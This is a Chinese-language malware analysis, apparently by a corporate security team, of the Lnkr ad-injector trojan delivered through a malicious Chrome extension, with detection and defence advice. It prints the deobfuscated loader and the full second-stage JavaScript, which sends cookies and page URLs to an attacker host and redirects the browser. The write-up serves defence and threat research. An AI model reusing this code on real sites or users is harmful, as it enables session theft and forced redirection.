本文从黑产攻击方式、木马恶意行为、监控及防御方案等角度对Lnkr木马进行分析,此类木马影响范围较广,攻击手法多样,但国内目前相关的资料却非常稀少,希望本文的实践经验和总结能对从事相关安全检测的同学有所帮助。
2020年10月,美团安全运营平台发现流量中存在恶意JavaScript请求,信息安全部收到告警后立即开始应急处理,通过对网络环境、访问日志等进行排查,最终锁定恶意请求由Chrome浏览器安装恶意插件引起,该恶意JavaScript文件会窃取Cookie并强制用户跳转到恶意色情站点、推广链接等,结合美团威胁情报大数据,发现该插件与Lnkr Ad Injector木马特征吻合。
此类木马传播方式多样,会通过浏览器插件、Broken Link Hijacking等方式在页面中植入恶意代码,不仅严重影响用户正常访问还会窃取用户数据。经追踪分析发现,多个国内大型互联网站点(Alexa全球排名前600)被感染,影响上亿网民的上网安全,建议各大平台对自身系统第三方加载源以及内部终端设备进行检查,避免遭受此类木马攻击。
Chrome沙箱监测到恶意JavaScript文件,发出异常告警:
通过告警信息判断基本的攻击行为是:
根据告警中涉及的触发页面、相关网络环境信息,排除流量劫持、XSS攻击等情况,猜测可能的原因为浏览器插件或恶意软件导致。
通过沙箱对问题设备上所有Chrome插件进行分析,发现一个名为Vysor的Chrome插件代码存在恶意行为,检测结果如下:
{ "call_window_location": { "info": "get document.location", "capture": [] }, "call_document_createElement": { "info": "call document.createElement, create script element", "capture": [ "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:INPUT", "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:SCRIPT", "create element elementName:LINK" ] }, "call_document_removeChild": { "info": "call document.removeChild", "capture": [ "remove element {elementName:fieldset}", "remove element {elementName:fieldset}", "remove element {elementName:fieldset}" ] }, "set_scriptSrcValue": { "info": "set script src unsafe value", "capture": [ "//s3.amazonaws.com/js-static/18ced489204f8ff908.js" ] } }
可以看到插件代码创建了script标签,然后将script标签的src属性设置为//s3.amazonaws.com/js-static/18ced489204f8ff908.js
。
为了进一步研究该组织木马的特征,我们对该恶意插件的代码进行了人工分析。恶意插件的代码量较大,结构混乱,包含大量干扰代码。
首先恶意代码预先设置了许多无明显意义的字符串,用于构造Payload。
这些字符串通过下面方法的一系列转换最终构造出创建script标签的语句 document'createElement',doctype即为创建出来的script对象。
接下来为script对象的src属性赋值,在addHandler方法中,cl这个参数由elem传递过来,其中包含src字符串,通过cl[0].split('>').slice(2, 3)拿到关键字src,tag是上文的doctype变量也就是script对象,在构造src值这部分,可以看到在常量中有一串一部分很像是base64的字符串:
mawaid = '^\\%|PCQxPjwkMT5zM|y5hbWF6b25hd3Mu|?:^[^\\\\]+?:\\%\\.*\t'
恶意代码利用该字符串结合其他预设变量进行一系列转换,最终形成base64后的加载地址PCQxPjwkMT5zMy5hbWF6b25hd3MuY29tPCQxPmpzLXN0YXRpYzwkMT4xOGNlZDQ4OTIwNGY4ZmY5MDguanM:
通过createLinkPseudo方法解base64,经过replace后形成恶意地址//s3.amazonaws.com/js-static/18ced489204f8ff908.js。
s3.amazonaws.com/js-static/18ced489204f8ff908.js的主要目的是加载下一层的恶意Javascript文件(//countsource.cool/18ced489204f8ff908.js),代码如下:
(function(){var a=document.createElement("script");a.src="//countsource.cool/18ced489204f8ff908.js";(document.head||document.documentElement).appendChild(a)})();;
//countsource.cool/18ced489204f8ff908.js文件内容为:
(function () { function initXMLhttp() { var xmlhttp; if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); } else { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } return xmlhttp; } function minAjax(config) { if (!config.url) { return; } if (!config.type) { return; } if (!config.method) { config.method = true; } if (!config.debugLog) { config.debugLog = false; } var sendString = [], sendData = config.data; if (typeof sendData === "string") { var tmpArr = String.prototype.split.call(sendData, '&'); for (var i = 0, j = tmpArr.length; i < j; i++) { var datum = tmpArr[i].split('='); sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1])); } } else if (typeof sendData === 'object' && !(sendData instanceof String)) { for (var k in sendData) { var datum = sendData[k]; if (Object.prototype.toString.call(datum) == "[object Array]") { for (var i = 0, j = datum.length; i < j; i++) { sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i])); } } else { sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum)); } } } sendString = sendString.join('&'); if (window.XDomainRequest) { var xmlhttp = new window.XDomainRequest(); xmlhttp.onload = function () { if (config.success) { config.success(xmlhttp.responseText); } }; xmlhttp.open("POST", config.url); xmlhttp.send(sendString); } else { var xmlhttp = initXMLhttp(); xmlhttp.onreadystatechange = function () { if (xmlhttp.readyState == 4 && xmlhttp.status == 200) { if (config.success) { config.success(xmlhttp.responseText, xmlhttp.readyState); } } else {} } if (config.type == "GET") { xmlhttp.open("GET", config.url + "?" + sendString, config.method); xmlhttp.send(); } if (config.type == "POST") { xmlhttp.open("POST", config.url, config.method); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.send(sendString); } } } dL(); function dL() { var host = 'http://press.cdncontentdelivery.com/f'; var config = { url: host + "/stats.php", type: "POST", data: { vbase: document.baseURI, vhref: location.href, vref: document.referrer, k: "Y291bnRzb3VyY2UuY29vbA==", ck: document.cookie, t: Math.floor(new Date().getTime() / 1000), tg: "" }, success: onSuccessCallback }; function bl(resp) { ! function (dr) { function t() { return !!localStorage && localStorage.getItem(a) } function e() { o(), parent.top.window.location.href = c } function o() { var t = r + i; if (localStorage) { localStorage.setItem(a, t) } } function n() { if (t()) { var o = localStorage && localStorage.getItem(a); r > o && e() } else e() } var a = "MenuIdentifier", r = Math.floor((new Date).getTime() / 1e3), c = dr, i = 86400; n() }(resp); } function onSuccessCallback(response) { if (response && response.indexOf('http') > -1) { bl(response); } } minAjax(config); } })();
该文件是真正实现恶意行为的代码,这部分代码没有经过混淆、加密,也没有加入其他无意义的代码干扰分析,可以很清晰地看到其恶意行为:
至此实现了将Cookie发送到远端接收地址,后续通过onSuccessCallback返回内容完成跳转,完整流程:
通过上述特征,发现大量与Lnkr木马相关的域名和插件,部分并未出现在已知的威胁情报中,经进一步分析发现,移动终端设备也有触发恶意请求的情况。
除此之外我们也发现国内多个大型站点在自身引用资源上引入了Lnkr木马,用户如果访问到这些站点,Cookie信息会被直接发送到远端,存在极高的安全风险。针对站点自身存在恶意资源的这类情况,极有可能是攻击者利用Broken Link Hijacking的攻击手法,对过期域名进行抢注,站点在访问原有资源时被劫持到恶意资源。
以下列举了此次检测发现的恶意域名:
排查到包含Lnkr木马特征的恶意插件:
部分恶意插件截图:
Lnkr木马所造成的危害有哪些?
Lnkr木马的核心域名之一cdngateway.net在全球域名流量排名8900位,从流量来源角度,通过外部网站跳转带来的流量占比总流量的65.48%,可见其攻击范围极广,受其影响的应用、用户数量也是非常庞大的。
此类木马对外部用户和内部员工访问同时具有严重危害。
在外部用户方面,如果企业没有严格控制系统第三方资源加载,黑产利用Broken Link Hijacking的攻击手法,致使业务系统加载资源时被劫持植入恶意代码,将严重影响用户体验、信息安全和企业形象。
从内部员工角度,传统杀软、EDR等终端安全设备并不能很好地识别出此类恶意插件,攻击者通过传播恶意浏览器插件控制员工浏览器加载远程恶意资源,不仅仅可以用于广告注入,相较于针对浏览器的其他攻击方式,可以达到更稳定,触发面更广的敏感信息窃取、内网探测等,在CSP历史阻断的恶意请求中,我们也发现除窃取Cookie信息外,也存在恶意代码窃取页面文本信息的情况,这些文本信息在企业内部平台中,极有可能包含大量用户,订单等敏感信息。
如何发现此类恶意木马植入?
针对恶意浏览器插件,在检测方面对其代码做静态分析成本比较大,触发恶意请求的Payload都是通过大量编码转换、拼接、正则匹配等构造而成、且经过了很多没有实际意义的方法,在动态分析方面,由于Chrome插件代码会调用Chrome后台API,在常规沙箱环境中可能会出现无法调用API而中途报错退出。分析中还发现,很多恶意行为需要触发特定事件才能进入到构造恶意Payload流程,如触发chrome.tabs.onUpdated等。
对于浏览器插件安全,可以通过以下方式进行检测及防护:
对于业务系统自身是否加载恶意资源方面:
黑产组织利用此类木马进行恶意引流、窃取用户信息等,给用户访问带来安全风险,也危害到企业自身形象,在HTTPS场景下,虽然排除了链路上用户访问被劫持的风险,但用户端访问环境安全性不定,为确保用户获取的信息可靠,没有被篡改,仍然需要进一步加强防护。希望本文能给大家带来一些帮助或者启发。
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